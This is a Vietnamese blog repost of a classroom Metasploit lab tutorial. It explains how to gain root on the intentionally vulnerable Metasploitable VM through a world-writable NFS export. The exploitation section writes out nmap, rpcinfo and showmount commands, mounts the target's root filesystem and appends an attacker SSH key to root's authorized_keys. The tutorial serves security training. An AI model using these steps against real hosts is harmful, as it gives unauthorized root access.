Chuyển đến nội dung chính

Bài Thực Hành Metasploit Framework Lesson 4 : Exploiting a Mis-Configured NFS Share



Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
    • Metasploitable  : Lesson 1: Downloading and Configuring
     
  3. What is nfs?
    • Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems in 1984,allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. The Network File System is an open standard defined in RFCs, allowing anyone to implement the protocol.
  4. What is rpcbind?
    • The rpcbind utility maps RPC services to the ports on which they listen. RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve. The client system then contacts rpcbind on the server with a particular RPC program number. The rpcbind service redirects the client to the proper port number so it can communicate with the requested service. Because RPC-based services rely on rpcbind to make all connections with incoming client requests, rpcbind must be available before any of these services start
  5. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the nsf, rpcbind, and ssh daemons
      3. Use showmount to identified all shared file systems
      4. Expose the metasploitable shared file system
      5. Obtain root access on the metasploitable VM
  6. Legal Disclaimer - Bài hướng dẫn chỉ dùng trong lớp học

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • This intense NMAP scan could take 3 to 5 minutes to run.
    • Instructions:
      1. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
  2. Looking for rpcinfo, nfs and ssh
    • Instructions:
      1. cd /var/tmp
      2. egrep -i '(nfs|rpcbind|ssh)' scan.txt
    • Note(FYI):
      • nfs runs on port 2049 for both TCP and UDP.
      • ssh runs on port 22.
      • rpcbind runs on port 111 for both TCP and UDP.

Section 6. Conduct a NFS Assessment
  1. Using rpcinfo
    • Instructions:
      1. rpcinfo -p 192.168.1.112
      2. rpcinfo -p 192.168.1.112 | grep nfs
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • The rpcinfo command makes an RPC call to an RPC server and reports the status of the server.  In this case, we are asking metasploitable's RPC server show us all of its RPC problems that are running. (e.g., nfs, mountd, status, portmapper, nlockmgr).
  2. Using showmount
    • Instructions:
      1. showmount -e 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • showmount queries the mount daemon on a remote host for information about the state of the NFS server on that machine.
      • The "/" filesystem is owned by root for most flavors of Unix and Linux.  Allowing the world to mount to the "/" file system opens up Paradora's box to an unlimited amount of exploits.

Section 7. Exploiting the Mis-Configured NFS Mount
  1. Create SSH Key Pair
    • Instructions:
      1. mkdir -p /root/.ssh
      2. cd /root/.ssh/
      3. cat /dev/null > known_hosts
        • This is not necessary.  I do this to prevent a potential man-in-the middle known_host message.
      4. ssh-keygen -t rsa -b 4096
      5. Enter file in which to save the key (/root/.ssh/id_rsa): hacker_rsa
      6. Enter passphrase (empty for no passphrase): Just Press Enter
      7. Enter same passphrase again: Just Press Enter
      8. ls -l
  2. Mount Metasploitable's "/" File System
    • Instructions:
      1. cd /
      2. mount -t nfs 192.168.1.112:/ /mnt -o nolock
        • nolock � Disables file locking.
      3. df -k
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • Notice we have successfully mounted up metasploitable's "/" filesystem to BackTrack's /mnt directory.
  3. Modify metasploitable's authorized_keys file
    • Instructions:
      1. cd /mnt/root/.ssh
      2. cp /root/.ssh/hacker_rsa.pub /mnt/root/.ssh/
      3. ls -l
      4. cat authorized_keys
      5. cat hacker_rsa.pub >> authorized_keys
      6. cat authorized_keys
    • Note(FYI):
      • Since metasploitable's "/" file system is writable to the world, we are able to append BackTrack's ssh public key to metasploitable's authorized_keys file.
  4. Obtain Root Access
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. cd /root/.ssh/
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112
      3. yes
        • The "Are you sure ... (yes/no)?" message only occur during your very first connection.
      4. whomai
      5. exit
Section 8. Basic System Network Forensics
  1. Using showmount
    • Instructions:
      1. showmount -a 192.168.1.112
      2. umount /mnt
      3. df -k
      4. showmount -a 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • Notice after we un-mount from metasploitable's share that BackTrack's IP address is no longer present.
Section 9. Proof of Lab
  1. Proof of Lab
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Proof of Lab Instructions
      1. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "cat /etc/exports"
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "date"
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      5. Press the <Ctrl> and <Alt> key at the same time.
      6. Press the <PrtScn> key.
      7. Paste into a word document
      8. Upload to website Www.AnToanThongTin.Edu.VN

Bài đăng phổ biến từ blog này

Pentest lab - Metasploitable 2

Today I will walk through different ways of exploiting Metasploitable 2, the newer release of Rapid7’s popular vulnerable machine. First, what is Metasploitable? Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. In my lab environment, the IP of the attacker machine is 192.168.127.159, and the victim machine is 192.168.127.154. Since this is a test lab, I won’t be concerned about stealth. Instead, I will try to get the most information out of the scans. Let’s start by port scanning the target with nmap. I did a full port, aggresive scan against the target. Here are the results. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ...

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...

CEH v9 (CEHVIETNAM.COM) - Hacking Metasploitable Lab

CEH v9 : Hacking Metasploitable VM In this guide, I will demonstrate how to root a Metasploitable 2 virtual machine. Metasploitable is an intentionally vulnerable Ubuntu machine. I’ll explore just a few of the many ways Metasploitable can be attacked, from vulnerabilities in common services to little known exploits and web vulnerabilities. I’ve set up Kali Linux and Metasploitable VMs in VirtualBox on the same network (bridged mode). Kali – 192.168.56.101 Metasploitable – 192.168.56.102 - Hãy thay IP của bạn cho thích hợp Contents   1 Footprinting 1.1 Ping 1.2 Traceroute 2 Scanning 2.1 Port Scanning 2.2 OS Fingerprinting 2.2.1 nmap 2.2.2 xprobe2 3 Enumeration 3.1 FTP (TCP 21) Enumeration 3.2 Telnet (TCP 53) Enumeration 3.3 SMTP (TCP 25) Enumeration 3.4 VNC (TCP 5900) Enumeration 3.5 X11 (TCP 6000) Enumeration 3.6 RLogin (TCP 513) Enumeration 3.7 IRC (TCP 6667) Enumeration 4 Exploitation 4.1 FTP Exploit 4.2 VNC Password Cracking 4.3 IRC E...